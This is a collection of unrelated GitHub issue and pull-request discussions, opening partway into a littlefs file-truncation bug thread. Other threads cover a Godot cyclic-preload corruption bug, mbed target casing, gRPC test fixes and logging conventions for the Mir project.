printf("tell %u\n", (unsigned int)lfs_file_tell(lp, fp));
printf("truncate %u\n", (unsigned int)lfs_file_truncate(lp, fp, 48));
printf("tell %u\n", (unsigned int)lfs_file_tell(lp, fp));
memset(buffer, -1, sizeof(buffer));
printf("read %d\n", lfs_file_read(lp, fp, buffer, sizeof(buffer)));
printf("\t%02x %02x %02x %02x\n", buffer[0], buffer[15], buffer[16], buffer[47]);
printf("tell %u\n", (unsigned int)lfs_file_tell(lp, fp));

The annotated output I get is:
tell 0      # file is correctly positioned at start after open
read 64     # file reads 64 bytes that appear to be numbered correctly
        00 10 20 30
seek 0      # Move back to start of file works
tell 0
truncate 0  # Truncate to 48 bytes succeeds
tell 0      # File position is said to be zero
read 48     # Read returns the length of the file...
        30 3f 70 ff  # .. but the data is the 16 bytes after truncation,
                     # plus garbage past the original end of file
tell 48     #

Two anomalous behaviors:

I did not expect lfs_file_truncate() to move the file position.  If that is expected behavior, lfs_file_tell() should have reported it.
I did not expect to receive data that started at the truncated part of the file, and included garbage beyond the original file end.

EDIT: In this context read and prog size are 16, cache size is 64.

@pabigot  You can set the file size to be larger than 513 bytes and try again. I think this should be no problem.

@Johnxjj I'm sure there are combinations of file lengths, truncation position, and cache size where it works.  The point is it does not work for these sizes.

@pabigot  Files smaller than 512 bytes are saved as inline files and stored in the super block. After my test, there are a lot of problems with inline files, so I want you to try other blocks.

If you start with an 8 KiBy file, truncate to 48, and read 64 bytes, you get exactly the same behavior: the returned data starts with data that had been at offset 48 and is correct for only 16 bytes (the read size), instead of starting with data that should be at 0 and being correct for 48 bytes.
If you start with an 8 KiBy file, truncate to (1024 + 48) (leaving the first 1 KiBy in place, a read of 64 bytes produces data that is correct for the first 64 bytes of the file.
This suggests the bug occurs whenever you truncate to a nonzero but small file length.  Presumably the data is moved into the cache, but the metadata is inconsistent.
Hope that helps.  It's still a pretty serious problem.

Files smaller than 512 bytes are saved as inline files and stored in the super block.

It appears it's actually files no larger than cfg->cache_size that are saved as inline files.
AFAICT cache_size is stored in the superblock.  I'm not sure what happens if somebody mounts a file system with inline files using a config with a smaller cache_size.  @geky is that a problem?

Hey @pabigot thanks for putting up a fix for this.

It appears it's actually files no larger than cfg->cache_size that are saved as inline files.

Yep, this is how littlefs coalesces files into a single block. And yes, prog_size, read_size, and cache_size are not needed for portability and are not saved in the superblock.
Getting this to work with inline files was an absolute nightmare. I was originally storing an inline_size in the superblock for this purpose but was able to figure out how to work around it.
The reason this was so important is because given that these are embedded devices, available RAM is going to be the biggest issue when considering portability between devices. And if I move a filesystem between a PC and an MCU, I want to be able to take advantage of however much RAM the system can through at me.

AFAICT cache_size is not stored in the superblock. I'm not sure what happens if somebody mounts a file system with inline files using a config with a smaller cache_size. @geky is that a problem?

The only reason inline files are limited by the cache_size is because of the semantics of writing to multiple files at the same time.
It's a bit of a weird consideration for an embedded filesystem, but it was easy to solve in v1 when all files were COW linked-lists, so here we are now.
inlines files > cache_size is handled lazily as littlefs comes across them.
Writing to inline files that are larger than cache_size is easy, we just need to evict the file and move it to a skip-list on the first write. This is a part of the same logic that handles un-inlining files during normal operation:
https://github.com/ARMmbed/littlefs/blob/master/lfs.c#L2847
Reading inline files is a bit more complicated. We really don't want to modify the filesystem during a read, since this rules out a readonly version and it could be confusing for users to get an out-of-space error during a read.
But we also don't need to fit the entire file in the cache in this case. So what we do is load the file in chunks as we read. Each time we need a new chunk we fetch it from the directory. This is handled by lfs_dir_getread and lfs_dir_getslice:
https://github.com/ARMmbed/littlefs/blob/master/lfs.c#L2775
It's reasonable to think inline files > cache_size will cause a problem during compaction as we copy inline files to a new block, but lfs_dir_compact already handles a number of tags that are larger than cache_size by streaming them byte-by-byte and letting the cache logic chunk up the read/writes:
https://github.com/ARMmbed/littlefs/blob/master/lfs.c#L1214
Buuut, there was one last nasty tricky bit of behavior that can cause problems.
What if we have a file open for reading, and open the same file for writing, modify it, and then save. What happens to the open-for-reading file handle?
With files in COW skip-lists, this was easy. we update the pointer in the directory, but because it only contains on-disk-metadata, we still have a pointer to the skip-list in our open-for-reading file handle. The block allocator checks open files for in-use blocks, so the user can continue to read from the file.
But with inline files when we update the on-disk file, we may lose the old data. Normally this old data would be saved in the open-for-reading file handle's cache, but if our inline file is too large we can't do that.
I was stuck here for a while and was resigned to just have filesystems with large inline-files error until I realized something. At the moment of updating the metadata, someone, somewhere, is writing!
We can abuse this to evict the inline file. Sure there is the risk this might cause an OOS error at a weird time, but with wear-leveling there's already a lot of operations under the hood with even simple operations.
This is handled by this check in lfs_dir_commit:
https://github.com/ARMmbed/littlefs/blob/db054684a67956c5b86101dd70018accf284be2f/lfs.c#L1666-L1682
Anyways sorry for the long ramble. There was quite a bit of thought put into making sure inline files can remain portable.
Though there is the unfortunate fact that there's currently no tests covering portability. This needs work. So take the above with a grain of salt.

@pabigot  My problem  #224  has been solved in the V2.1 version before, but in the test, I also encountered the same problem as you.


Login Screen issues

Remove Facebook and Apple logins
CK logo is partially obscured by safe-area
"Advanced server settings" doesn't fit. Change to a gear icon.

You can't remove Apple login, if you still wish to publish clearkeep on appstore.
From: https://developer.apple.com/forums/thread/124006

The guidelines have been update recently for this point:
4.8 Sign in with Apple
Apps that exclusively use a third-party or social login service (such as Facebook Login, Google Sign-In, Sign in with Twitter, Sign In with LinkedIn, Login with Amazon, or WeChat Login) to set up or authenticate the user’s primary account with the app must also offer Sign in with Apple as an equivalent option. A user’s primary account is the account they establish with your app for the purposes of identifying themselves, signing in, and accessing your features and associated services.
Sign in with Apple is not required if:
Your app exclusively uses your company’s own account setup and sign-in systems.
Your app is an education, enterprise, or business app that requires the user to sign in with an existing education or enterprise account.
Your app uses a government or industry-backed citizen identification system or electronic ID to authenticate users.
Your app is a client for a specific third-party service and users are required to sign in to their mail, social media, or other third-party account directly to access their content.
...
Existing apps must follow this guidelines before April 2020.

The issue has been fixed in PR #206
Will do.

Thanks for the update. So #1 is not required - keep both iOS and FB.


README.md doesn't contain build instructions

Request description
Would like to see build instructions as the first thing I see when I open the repo.
Or a link thereto.
Even better, a copy-able bash script that just clones and builds everything.
What component(s) does this issue relate to?
Other
Additional context
No response

I've reset env many times for some reasons. Every time that I have to configure IREE on a new machine, I just copy-paste the commands in https://iree.dev/building-from-source/getting-started/ And it works very well to me.


Added automatic uppercase conversion to --toolchain and --target.

Any comments on this?
related to #529

PR seems to work as expected; both toolchain and target directories are now always uppercased.

@korjaa @JammuKekkonen Not sure that this will work as not all targets are upper case https://github.com/ARMmbed/mbed-os/blob/master/targets/targets.json
A possible solution is for the target folder parameter to be upper-cased when passed to the build tools (but not the target name), not on input.

Aa, definitely true. Did cross my mind, but didn't know where to look for all targets.

For me, it feels that the most logical way would be to make the target case sensitive, so that typing "k64F" would cause an error as it's not "K64F"

@theotherjimmy See above.

+1 for enforcing consistent casing! I'd probably go with upper case for legacy reasons.

@korjaa You don't have to worry about the case of targets, as the mbed OS tools will convert as appropriate.
@screamerbg We could make it an error, but with the "you got the case wrong" message. I'm not willing to make something that worked before stop working with no help to the user. Personally, I really like not having to use caps lock or the shift key when doing this stuff, but my preference may not be universal. I know that @sg- shares it though.
On that note, @korjaa You might want to drop this PR and propose something like that to the mbed OS tools. I think it should just be as simple as dropping the "force" from the type function. Let me know if you want assistance..

@theotherjimmy Yes, the compilation works with both and that's the issue. It accepts the platform in anycase and then under BUILD/ it creates a folder using that anycase name. Now, if you have a window open where your drag and drop your firmware, you could be using the previous build with a correct name from BUILD/K64F instead of the typoed build from BUILD/k64F. Or if you are using alias like below:
$ type mbed_flash
mbed_flash is aliased to `cp BUILD/K64F/GCC_ARM/*.bin /media/jaakor01/DAPLINK/ && sync'
```.

Yes, I will close this PR as the uppercase doesn't really work with the non-uppercase targets.


File corruption when two scenes call preload on each other

Tested versions
Reproducible in

4.2.stable.official [46dc27791]
4.1.1.stable
4.1.beta3.official [ada712e06]
4.1.dev4.official [5c2295ff5]
4.1.dev3.official [a67d37f7c]

In these versions, there is no file corruption but the program behaves unexpectedly

4.1.dev2.official [668cf3c66]
4.0.4.stable.official
4.0.stable.official

In this version, there is no file corruption and when attempting to Run the project I receive the following error:

3.6.beta3.official

E 0:00:00.426   load: Resource: 'res://scene_a.tscn' is already being loaded. Cyclic reference?
  <C++ Error>   Condition "!success" is true. Returned: RES()
  <C++ Source>  core/io/resource_loader.cpp:353 @ load()

System information
Godot v4.2.stable - Windows 10.0.19045 - GLES3 (Compatibility) - NVIDIA GeForce RTX 3060 (NVIDIA; <IP_ADDRESS>42) - Intel(R) Core(TM) i7-7700K CPU @ 4.20GHz (8 Threads)
Issue description
Expected Behavior
When two scenes call "preload" on each other, I should be able to exit and reopen the project successfully.
Actual Behavior
When I exit and reload the project, I see the following error message:

It appears I cannot open scene_a anymore.
Steps to reproduce
How to reproduce with MRP

Import and open the project
You should see a pop-up window that says scene_a.tscn is invalid/corrupt:

How I created the MRP
Here are the steps I followed to create the MRP.

Open Godot
Create a scene scene_a.tscn
Create a Node in scene_a
Attach the "scene_a.gd" script to the Node
Create a scene scene_b.tscn
Create a Node in scene_b
Attach the "scene_b.gd" script to the Node

scene_a.gd:
extends Node

func _ready():
	preload("res://scene_b.tscn")

scene_b.gd:
extends Node

func _ready():
	preload("res://scene_a.tscn")

Minimal reproduction project (MRP)
SceneBugMRP.zip

It seems like Godot does not support two scenes loading each other with PackedScene.
If this is the case, I would advise the following:

In Godot 4, don't let the user run the project when trying to do this.
Update the docs on changing scenes to warn about this (I created a godot-docs issue here: https://github.com/godotengine/godot-docs/issues/8596 )

Because of this issue I lost about ~3 hours scratching my head at the unexpected behavior. When I tried to reload the project, my scene file was corrupted. I would prefer that Godot provide an error message to prevent me from running the unsupported behavior in the first place (and if the docs were up-to-date, I wouldn't have tried to do this at all -- but that's a discussion for the the Issue in godot-docs).


Fix Markdown warnings

Community extension. Impacts translations as adds heading and changes bare link to Markdown link.


Add support for stackless error handlers.

These are given a stack bounded it was on entry into the compartment, with an undefined offset.  As such, they can be used even when the cause of the error is stack overflow.
Unlike the existing error handler, this cannot take a snapshot of the register file, because there is no space for it.
Both kinds of error handler can be present.  When both are present, the existing kind will be used if there is sufficient stack space to invoke it, otherwise the stackless one will be invoked.
This also adds a 'library' that provides an implementation of a stackless error handler that interoperates with the new setjmp-based unwind code.  When an error occurs, it pops the top jump buffer and invokes it.
A few other small cleanups while I was touching adjacent things:

There were some issues in the switcher API to recover the initial stack, the tests were passing largely by coincidence.  This code is now fixed and the tests improved.
A load of recently added libraries were not linked to in the README for libraries.  They are now.

Fixes #298

Looks good but a bit scary. Really wish we had some formal methods for the switcher.

I would post the Simpsons hiding meme again, but the reality is formal methods always take the backseat compared to building new things :( I am hoping to get back to it at some point in the near future.


Hiding Module on External Display

Is there any way that I can hide a certain module on my bar on an external display? In order to project, I use mons, I would like it to be hidden when I use mons -d. Both of my bars show up, but I have a module for my ip address, and I don't want that projected to the entire class, since it is a public IP. My config file can be found here

The only way to do that currently is to create another bar definition for the secondary screen and assign a different set of modules to it, leaving out the ones you don't want. For example, if you wanted to remove some modules from your top bar when it's on the secondary screen, you could do:
[bar/top]
monitor = <your primary monitor>
inherit = bar/base

tray-position = right
tray-padding = 2

modules-left = ip hostname linkspeed user
modules-center = date
modules-right = volume xbacklight xkeyboard memory cpu battery wlan

[bar/top-secondary]
monitor = <your secondary monitor>
inherit = bar/top

; Tray can only be on one bar at a time, so it has to be removed from the secondary one.
tray-position =

; Override the displayed modules, leaving out the ones you don't want.
modules-right = volume memory cpu wlan

If you don't want to hardcode the monitors and instead launch the primary bar on the screen which has the xrandr primary flag and the secondary bar on all other screens, you need to write a shell script which queries xrandr and launched the appropriate bars. You can find an example here, but you'll have to extend the loop to grep whether the current monitor is primary or not and launch the correct bar.

I'll close this as it seems @BVollmerhaus has sufficiently answered the question.


Using an UUID filed as the ID of r a resource creates error when fetching

When using a resource that uses uuid as the id instead of incremental integer, the following error is generated when trying
GET /resource/:id
    {
  "errors": [
    {
      "title": "Invalid field value",
      "detail": "3db209cc-eada-4bbf-a54d-81f4c6587a54 is not a valid value for id.",
      "id": null,
      "href": null,
      "code": 103,
      "source": null,
      "links": null,
      "status": "400"
    }
  ]
}

while using GET /resource shows the exact correct link in the response:
    {
  "data": [
    {
      "id": "3db209cc-eada-4bbf-a54d-81f4c6587a54",
      "type": "users",
      "links": {
        "self": "http://localhost:3000/v1/users/3db209cc-eada-4bbf-a54d-81f4c6587a54"
      },
      "attributes": {
        "name": "aly",
        "email-address"<EMAIL_ADDRESS>      }
    }
  ],
  "meta": {
    "record-count": 1
  },
  "links": {
    "first": "http://localhost:3000/v1/users?page%5Blimit%5D=50&page%5Boffset%5D=0",
    "last": "http://localhost:3000/v1/users?page%5Blimit%5D=50&page%5Boffset%5D=0"
  }
}

Are you setting the key_type globally or per resource? https://github.com/cerebris/jsonapi-resources#primary-key

@lgebhardt Actually, I didn't know I should set the key_type.
I only had the primary key6 set to uuid in the table migration. I will try this tonight and will let you know if this should fix the error.
But thanks in advance :+1:  :smile:

Yes. this worked. Thanks a lot.
And P.S: if using doorkeeper gem for authentication and the user_id is a :uuid, make sure to change that in the doorkeeper migration to reflect this on resource_owner_id (it took me 40 mins to find why my tests were failing :smile: )

just in case anyone still looking for this: https://jsonapi-resources.com/v0.10/guide/resources.html#Primary-Key


[Event request] codeunit 12 "Gen. Jnl.-Post Line" - OnBeforeResetCustLedgerEntryAppliestoFields

We would like to request the event OnBeforeResetCustLedgerEntryAppliestoFields with the SkipResetApplicationFields parameter. We would like to skip the reset/emptying of the application field on cust ledger entry.
     // Post customer entry
        CustLedgEntry.CopyFromCVLedgEntryBuffer(CVLedgEntryBuf);
        // << start event
        OnBeforeResetCustLedgerEntryAppliestoFields(CustLedgEntry, SkipResetApplicationFields);
        if not SkipResetApplicationFields then begin
            CustLedgEntry."Amount to Apply" := 0;
            CustLedgEntry."Applies-to Doc. No." := '';
            CustLedgEntry."Applies-to ID" := '';
        end;
        // Stop event change

[IntegrationEvent(false, false)]
local procedure OnBeforeResetCustLedgerEntryAppliestoFields(var CustLedgerEntry: Record "Cust. Ledger Entry"; var SkipResetApplicationFields: Boolean)
begin
end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.
Build ID: 46663.


404 to query the vehicle in China when Teslamate is hosted outside China

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
After Tesla build the datacenter in China, my teslamate hosted in HK was unable to find the car in my account. 404 is returned.
Expected Behavior
No response
Steps To Reproduce
No response
Relevant log output
teslamate_1  | 2021-11-02 16:16:57.377 [info] Scheduling token refresh in 1 h
teslamate_1  | 2021-11-02 16:16:57.379 [info] Running TeslaMateWeb.Endpoint with cowboy 2.9.0 at :::4000 (http)
teslamate_1  | 2021-11-02 16:16:57.384 [info] Access TeslaMateWeb.Endpoint at httptp://tesla.eastasia.cloudapp.azure.com
teslamate_1  | 2021-11-02 16:16:59.390 [info] Starting logger for 'XXX' teslamate_1  | 2021-11-02 16:16:59.437 [info] MQTT connection has been established
teslamate_1  | 2021-11-02 16:17:00.382 [info] GET https://owner-api.teslamotors.om/api/1/vehicles/xxxxx-> 404 (947.097 ms)
teslamate_1  | 2021-11-02 16:17:00.382 car_id=1 [error] Error /:vehicle_not_found

Screenshots
No response
Additional data
No response
Type of installation
Manual
Version
v1.24.2

You can try pull again the latest version of TeslaMate, either stable or dev

You can try pull again the latest version of TeslaMate
https://github.com/adriankumpf/teslamate/issues/2102

You can try pull again the latest version of TeslaMate
#2102

Tried it but still no luck.

It seems fixed without changes.


Fix macOS and iOS runtime detection

I had some extra warnings on in my project which drew me to these lines which seem incorrectly using true as the first check which short circuits the other two checks for runtime detection.

Actually it's way too early for PRs. I definitely misunderstood this and my change is definitely not right. I got confused with the warning and the boolean operators since the checks above use || instead of &&. My mistake!


accessor: add some sugar to Retention and Stage

This change is

Coverage decreased (-0.7%) to 93.512% when pulling a4b7c4e1338f259a0b3a9434593f8728d42a6283 on iksaif:sugar into 1be2a4bc4e76e3ca4d01daf6e5412b500227eceb on criteo:master.

Reviewed 1 of 1 files at r1.
Review status: all files reviewed at latest revision, 1 unresolved discussion.

biggraphite/accessor.py, line 289 [r1] (raw file):

        """Round down a timestamp to a multiple of the precision."""
        return round_up(timestamp, self.precision)

Doesn't this introduce an infinite loop? I'm confused...

Comments from Reviewable

Review status: all files reviewed at latest revision, 1 unresolved discussion.

biggraphite/accessor.py, line 289 [r1] (raw file):
Previously, natbraun (Nathaniel Braun) wrote…
> Doesn't this introduce an infinite loop? I'm confused...

it doesn't call 'self.round_up' it calls a normal function :)

Comments from Reviewable

Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable

Reviewed 1 of 1 files at r1.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable

Review status: all files reviewed at latest revision, 1 unresolved discussion.

biggraphite/accessor.py, line 289 [r1] (raw file):
Previously, iksaif (Corentin Chary) wrote…
> it doesn't call 'self.round_up' it calls a normal function :)

Done.

Comments from Reviewable


Configurable placement keep alive time, keep alive timeout and dissemination timeout

Description
Since the grpc keep alive time and timeout depend largely on the environment (network stability), we add the possibility to adjust them through environment variables.
Issue reference
https://github.com/dapr/dapr/issues/7955
Checklist
Please make sure you've  completed the relevant tasks for this PR, out of the following list:

[X] Code compiles correctly
[X] Created/updated tests
[X] Unit tests passing
[X] End-to-end tests passing
[X] Extended the documentation / Created PR in the docs repo: https://github.com/dapr/docs/pull/4365
[ ] Specification has been updated / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]
[ ] Provided sample for the feature / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]

@elena-kolevska can you fix the lint issues?

Docs PR: https://github.com/dapr/docs/pull/4365

Thanks @JoshVanL, this was because of the new linter version and rules that were merged in the meantime. Fixed now.

@JoshVanL , as agreed, I updated the disseminateTimeoutMax value to 3 seconds and sent a docs PR: https://github.com/dapr/docs/pull/4372.
As a next step, I'll update this code to use an exponential rate limiting algorithm, for better performance.


NIFI-3380: Added dialog to change version

NIFI-3380:

Cleaning up instance classloaders for temp components.
Creating a dialog for changing the version of a component.

Merged.


"Breaking out Noice into new plugins"

I notice here you mention considering to break out noice.nvim into several plugins.
This prospect is very appealing to me as currently I'd just use noice.nvim for the amazingly improved markdown rendering, which I definitely think is unique enough to warrant it being separated out into another plugin. Currently noice.nvim is just not worth the installation for me because I would be ignoring 99% of its functionality as I'd only use this feature.
So while you did make that comment only 10 hours ago (:D), how high is that on your priority list? If not too low, is there any way I can help jumpstart the process?

Not planning to do this soon. As I mentioned I want the code Noice code base to settle a bit first.


Add expand-releases feature

Resolves #4941
Test URLs
Enable Releases UI Refresh (under Feature preview atm) and navigate to Releases from https://github.com/evanw/esbuild, the expanded=true query is added to href, paginated links are decorated by GitHub automatically when present on a page.
Screenshot
releases UI Refresh default

with expand-releases

Closing, see https://github.com/refined-github/refined-github/issues/4941#issuecomment-955713154


Inclusion of text-transform for mjml-link

The key objective of the change is to allow markup to dictate
text-transform as it is not desirable in all cases to have links
converted to uppercase without editors ability to change.

👍  Ok for me ! Thanks for your contribution

Hi there ! We've merged the mjml-link into mjml-navbar, can you update your PR @Unipro-DanMunn please ? Thanks !

@iRyusa PR updated as requested.

Thanks 👌


move Layer.OSM in its own file

Related to issue #138.

Looks good to me.

Much though I dislike excessive requires, isn't this a case where SphericalMercator should be required? AFAIA, all the OSM renderings use it, so it seems unnecessary to ask people to specifically add it to their builds.

I agree there should be a @require for SphericalMercator.  If you want XYZ sphericalMercator: false, you can use XYZ.

another point is that they plan to change the licence, which according to http://www.osmfoundation.org/wiki/License/We_Are_Changing_The_License should be complete by April 1. So the attribution should change at that time, presumably before the next OL release.

Thanks @probins. I think we should track this in a separate issue (or pull request). I'll open an issue if yoy can't get to it before I do.

see #149

@tschaub, @probins, going back to @requires for SphericalMercator here: I have realized that Layer.XYZ and Layer.OSM don't actually use the Layer.SphericalMercator mixin, even if sphericalMercator is true. So do we really want OSM.js to require SphericalMercator.js? SphericalMercator.js is still useful for users who want to transform lonlat coords to spherical mercator coords, but I think those should explicitly add SphericalMercator.js to their build profiles, don't you think? I also note that XYZ.js do not have a @requires for SphericalMercator today, so we're not breaking people's build profiles by not including it in OSM.js.

@marcjansen a9d919a adds documentations for Layer.OSM.

@elemoine the function at the end of SphericalMercator uses it, surely, by adding the transforms to Projection, so without the SphericalMercator file you won't be able to add/transform vectors in another projection (unless you have Proj4JS present, of course).
I have to admit I've always found this rather confusing, as SphericalMercator is not really a Layer, it's just an object defining functions. Perhaps it would be better to rename it?
As for the requires, as SphericalMercator is simply a convenience so you can use one of the common raster layers without having to load Proj. On the other hand, if you have Proj anyway, then you don't need it, so perhaps it would be better to make it optional for all those layers. and not required?

as a further comment, Google is currently the only layer that actually mixes the SM functions into the layer

@probins, for you to know in case you haven't noticed: Layer.Yahoo and Layer.MultiMap do use Layer.SphericalMercator as a mixin, but they're deprecated (and now moved into the deprecated.js file).
The code in Layer/OSM.js does not at all rely on code in Layer/SphericalMercator.js, so it really strikes meas odd to have Layer/OSM.js require Layer/SphericalMercator.js. My comment also applies to Layer/Bing.js. (Layer/Bing.js does include a @requires statement for SphericalMercator.js, and I'd suggest to remove it.)
I understand that without Layer.SphericalMercator people won't be able to transform lonlat coords to/from spherical mercator coords, but this is a different issue, requiring a separate fix.
And for that I think I'd suggest moving the mercator/wgs84 transformation-related code from SphericalMercator.js to Projection.js. SphericalMercator.js would just include the mixin for Layer.Google. And people doing mercator/wgs84 transformations would just need Projection.js in their builds, which is fine. The only issue is people using Projection.js for other transformations than mercator to/from wgs84, because those would have unneeded code in their builds. I think this is acceptable, and surely more consistent than what we have today.

yes, I would agree with that. Logically, the transform logic belongs in with Projection, not as a pseudo-layer. Perhaps you could have it as a sub-class of Projection?
This also raises the question of whether Google actually needs the mixin and its own special logic. Can it not use the transforms the same as any other projected layer?
I also agree that Bing and OSM should be the same: either require SphericalMercator or not.

Please merge.  See #153 for changes that pull transforms out of SphericalMercator.js.


services/*, types/pairs: Implement proposal loose-mode

Signed-off-by: Xuanwo<EMAIL_ADDRESS>

 Here is an overview of what got changed by this pull request:

Clones added
============
- services/cos/utils.go  3
- services/fs/utils.go  2
- services/gcs/utils.go  2
- services/azblob/utils.go  1
- services/kodo/utils.go  3
- services/qingstor/utils.go  2
- services/s3/utils.go  1
- services/dropbox/utils.go  1
- services/oss/utils.go  1

See the complete overview on Codacy


Add k8s 1.27.x support for setup-kind/action.yaml

The KinD latest release has the 1.27.x support https://github.com/kubernetes-sigs/kind/releases/tag/v0.18.0
So this patch changes:

bumps KinD version to v0.18.0.
adds k8s 1.27.x support.

Can you bump the other image SHAs - see release notes here - https://github.com/kubernetes-sigs/kind/releases/tag/v0.18.0

Okay, updated. Thank you.


<EMAIL_ADDRESS>>> Can't resolve 'querystring'

Using latest<EMAIL_ADDRESS> [using NPM 6.14.8, Node 14.15.0, Angular 13.3.0]
on "NPM start" getting..
ERROR in ./node_modules/tronweb/dist/TronWeb.node.js 2209:14-36
Module not found: Error: Can't resolve 'querystring' in '..ClientApp\node_modules\tronweb\dist'
BREAKING CHANGE: webpack < 5 used to include polyfills for node.js core modules by default.
This is no longer the case. Verify if you need this module and configure a polyfill for it.
Prior version of Angular 12.x 11.x 10.x 9.x , no issue.
Webpack V5 now used in Angular 13.x, resulting in fault.

Workaround (requires additional testing)

npm install querystring
Note:  npm WARN deprecated<EMAIL_ADDRESS>The querystring API is considered Legacy. new code should use the URLSearchParams API instead.

amend ClientApp\node_modules\tronweb\webpack.config.js
Add a fallback rule for querystring

resolve: {
modules: [
...
],
fallback: {
"querystring": require.resolve("querystring-es3")
}
},

I guess you are using webpack5. And your solution is right since webpack5 doesn't provide polyfills of default node modules anymore.


Consistent logging and handling of errors

Proposition
Logging
Each module that produces any log output should have a logger parameter. Important events during the module's operation should produce a log output. In the context of distributed protocols, the log levels have the following semantics:
ERROR
This should never happen. An error is logged if and only if the functionality of the system might be compromised and system might not provide the advertised guarantees. This should only be the case if there is a bug in the implementation or if some of the assumptions of the implemented protocol (e.g. on the upper bound of faulty nodes) have been violated.
WARNING
A warning indicates that something potentially suspicious, but technically legitimate is happening. When a warning is output, the distributed system as a whole is still fully functional, even tough parts of it might not be any more. A warning is the sign of something being sub-optimal, but accounted for. For example, a warning should be triggered by the reception of a malformed message (another node might be faulty), a buffer running out of space and dropping messages (network asynchrony or sub-optimal configuration), a node (local or remote) severely lagging behind (slow node), etc. If all the nodes are correct and operating smoothly (no significant slow-down) and the network does not drop or significantly delay messages, no warnings should be logged.
INFO
An event that indicates the system making progress in its operation. Info-level log events should be used sparingly, such that the stream of info-level output gives good insight of what the node is currently doing, but is still observable in real time by a human. For example, a block being delivered, the configuration having changed, or a checkpoint being created, all are typical info-level events.
DEBUG
Debug events provide insight into the internal workings of the system. The debug events can be produced at a higher rate than a human can perceive and are intended for recording and studying later. Interpreting a debug-level log entry can require deep knowledge of the details of the implementation.
TRACE
Very fine-grained log messages, providing a detailed insight about what code is being executed. Trace-level logging is not expected to occur all throughout the code, but should only be inserted when needed.
Handling errors
Use the https://pkg.go.dev/github.com/pkg/errors library to create errors throughout the code.
It is old and a third-party one, but the native Go errors library does not support stack traces.
Such errors can then be conveniently printed (including a stack trace, if present) using the errstack package.
What is to be done
Transform this recommendation into Mir documentation and ensure it is followed in the code.

Have you considered a Fatal level of logging with the semantics as in many widely used logging packages, e.g. log, zap, go-logger?
What is the principal difference between Debug and Trace levels and how to decide which one to use?

Have you considered standardizing on tracing rather than logging?
It's a godsend for debugging distributed systems! In the case of Mir, even if we only capture traces from a single node, it could prove very useful to debug interactions where non-go modules are involved

Yes we can have Fatal too, good idea. I added it to the description, as well as a differentiation between Debug and Trace.
@abread , thanks for the pointer. The possibility of tracing is one of the main strengths of Mir (see #220 ). A rudimentary tool is alreaty there (the event interceptor and mircat) and is already very useful, but definitely can use an extension.


Finish streams that error. Don't histogram failed ops.

The aim is to fix the qps tests that fail because of resource quotas. I believe, in this case, that the test itself was contributing to (if not causing) the failure since it was essentially "leaking" (in the sense of not finishing) streams.

"%" PTRuPTR ?
On Tue, Feb 21, 2017 at 1:30 PM David G. Quintas<EMAIL_ADDRESS>wrote:

@dgquintas approved this pull request.
In test/cpp/qps/client_sync.cc
https://github.com/grpc/grpc/pull/9807#discussion_r102322760:

   return true;

 }

Status s = stream_[thread_idx]->Finish();
// don't set the value since the stream is failed and shouldn't be timed
entry->set_status(s.error_code());
if (!s.ok()) {

 gpr_log(GPR_ERROR, "Stream %zu received an error %s", thread_idx,

I think windows doesn't support %zu. We usually end up casting size_t to unsigned
long. :/
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/grpc/grpc/pull/9807#pullrequestreview-23076060, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AJpuddJ6XkD1pVZctJE-gbq1tKnpRAKpks5re1dygaJpZM4MH4De
.

Yes, that's even better.
On 21 February 2017 at 13:40, Craig Tiller<EMAIL_ADDRESS>wrote:

"%" PTRuPTR ?
On Tue, Feb 21, 2017 at 1:30 PM David G. Quintas<EMAIL_ADDRESS>
wrote:

@dgquintas approved this pull request.
In test/cpp/qps/client_sync.cc
https://github.com/grpc/grpc/pull/9807#discussion_r102322760:

return true;
}

Status s = stream_[thread_idx]->Finish();
// don't set the value since the stream is failed and shouldn't be
timed
entry->set_status(s.error_code());
if (!s.ok()) {
gpr_log(GPR_ERROR, "Stream %zu received an error %s", thread_idx,

I think windows doesn't support %zu. We usually end up casting size_t to
unsigned
long. :/
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/grpc/grpc/pull/9807#pullrequestreview-23076060, or
mute
the thread
<https://github.com/notifications/unsubscribe-auth/AJpuddJ6XkD1pVZctJE-
gbq1tKnpRAKpks5re1dygaJpZM4MH4De>
.

—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/grpc/grpc/pull/9807#issuecomment-281489882, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAHVmWldo1Mtq_zU-Nr2XINb9kFUBW9iks5re1nGgaJpZM4MH4De
.

Made desired change and rebased.

Well, only the Node tests fail at this PR.

:+1: thank you!
It seems qps_json_driver.quit is still failing, alongside the known node one (#9668). Can you confirm that that's "expected" and unrelated to this PR's fixes?

Known failure: Node qps test #9668 and the qps_json_driver.quit that follows it. Note that as I mentioned in #9036 , quit flakes follow worker flakes and not otherwise, AFAICT.

Is this mergeworthy?

It seems benchmarks.qps_json_driver.cpp_protobuf_sync_streaming_qps_unconstrained_secure_500kib_resource_quota
is failing in this PR as well: https://grpc-testing.appspot.com/job/gRPC_performance_pull_requests/9437/testReport/junit/(root)/benchmarks/qps_json_driver_cpp_protobuf_sync_streaming_qps_unconstrained_secure_500kib_resource_quota/
(I triggered a re-test manually)

Ok, that's interesting. It suggests that this isn't just a problem from the test (or at least not just this problem)

Test failures: #10096 #9825 #9937

This PR was worth merging even though it didn't solve the total problem because this sanitizes the code anyway. That said, additional work is still needed and is being tracked in #10064


Introduce CIMGUI_NO_EXPORT to stop exporting symbols

Useful when static linking in a library to avoid collisions.
Resolves: https://github.com/Extrawurst/cimgui/issues/31

Thanks a lot!


Cucumber report does not parse newlines

Describe the bug
I have some multi line freeform text underneath Feature: in my .feature file. The cucumber report parses this all in one line.
Example of the .feature file:
Feature:  New functionality   This is a very long description   That I want to place over multiple lines in my cucumber report   So that it's more readable
Result in the local report by the html-formatter:

To Reproduce
Steps to reproduce the behavior:

Create a feature file with additional description over multiple lines beneath the feature title. See above example.
